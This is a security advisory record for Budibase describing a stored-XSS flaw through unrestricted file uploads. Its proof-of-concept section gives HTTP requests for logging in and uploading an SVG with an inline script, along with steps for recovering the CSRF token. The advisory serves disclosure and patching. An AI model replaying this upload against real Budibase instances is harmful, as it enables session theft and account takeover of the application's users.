{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T16:31:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content \u2014 SVG files with inline `\u003cscript\u003e` tags, HTML pages with JavaScript, `.js` modules \u2014 which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload.\n\nImpact is **persistent stored XSS** over all application end users.\n\n### Details\nThe vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93\u2013179).\n\nRoute definitions (packages/server/src/api/routes/static.ts):\n\nPOST /api/attachments/process              \u2192 authorized(BUILDER)\nPOST /api/attachments/:tableId/upload      \u2192 authorized(PermissionType.TABLE, PermissionLevel.WRITE)\nBoth routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table \u2014 not just builders.\n\n### PoC\n\n### Prerequisites\n\n- Budibase self-hosted Docker deployment, any version \u2264 3.30.6\n- An account with Builder role (does **not** require admin)\n- Target app published and accessible to end users\n\n### Step 1 \u2014 Authenticate as builder\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: target:10000\nContent-Type: application/json\n\n{\"username\":\"builder@company.com\",\"password\":\"BuilderPass1!\"}\n```\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: budibase:auth=\u003cjwt\u003e; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\nSet-Cookie: budibase:auth.sig=\u003csig\u003e; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\n\n{\"message\":\"Login successful\"}\n```\n\nThe CSRF token is bound to the session. Browsers send it automatically via the Budibase\nfrontend JS. For scripted requests, decode the JWT payload (base64url second segment) to\nextract `sessionId`, then read the Redis key `session-\u003cuserId\u003e/\u003csessionId\u003e` \u2192 `csrfToken`.\n\n### Step 2 \u2014 Upload SVG with XSS payload\n\n```http\nPOST /api/attachments/process HTTP/1.1\nHost: target:10000\nCookie: budibase:auth=\u003cjwt\u003e; budibase:auth.sig=\u003csig\u003e\nx-budibase-app-id: \u003cdev_app_id\u003e\nx-csrf-token: \u003ccsrf_token\u003e\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Length: 391\n\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Disposition: form-data; name=\"file\"; filename=\"xss.svg\"\nContent-Type: image/svg+xml\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/svg\u003e\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX--\n```\n\n```json\nHTTP/1.1 200 OK\n\n[{\"size\":207,\"name\":\"xss.svg\",\"url\":\"http://target:10000/files/signed/.../\u003cuuid\u003e.svg?X-Amz-...\",\"extension\":\"svg\",\"key\":\"workspace_id/attachments/\u003cuuid\u003e.svg\"}]\n```\n### Impact\n* App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft \u2192 full account takeover. |\n* Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder\u0027s session \u2192 workspace takeover. \n\n\n\u003cimg width=\"3087\" height=\"1489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565\" /\u003e\n\n\n\u003cimg width=\"2100\" height=\"1016\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4\" /\u003e\n\n\n\n\n\n\n\n--------\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "id": "GHSA-82rc-gxrg-v4gf",
  "modified": "2026-05-19T16:31:30Z",
  "published": "2026-05-19T16:31:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-82rc-gxrg-v4gf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Unrestricted Upload of File with Dangerous Type"
}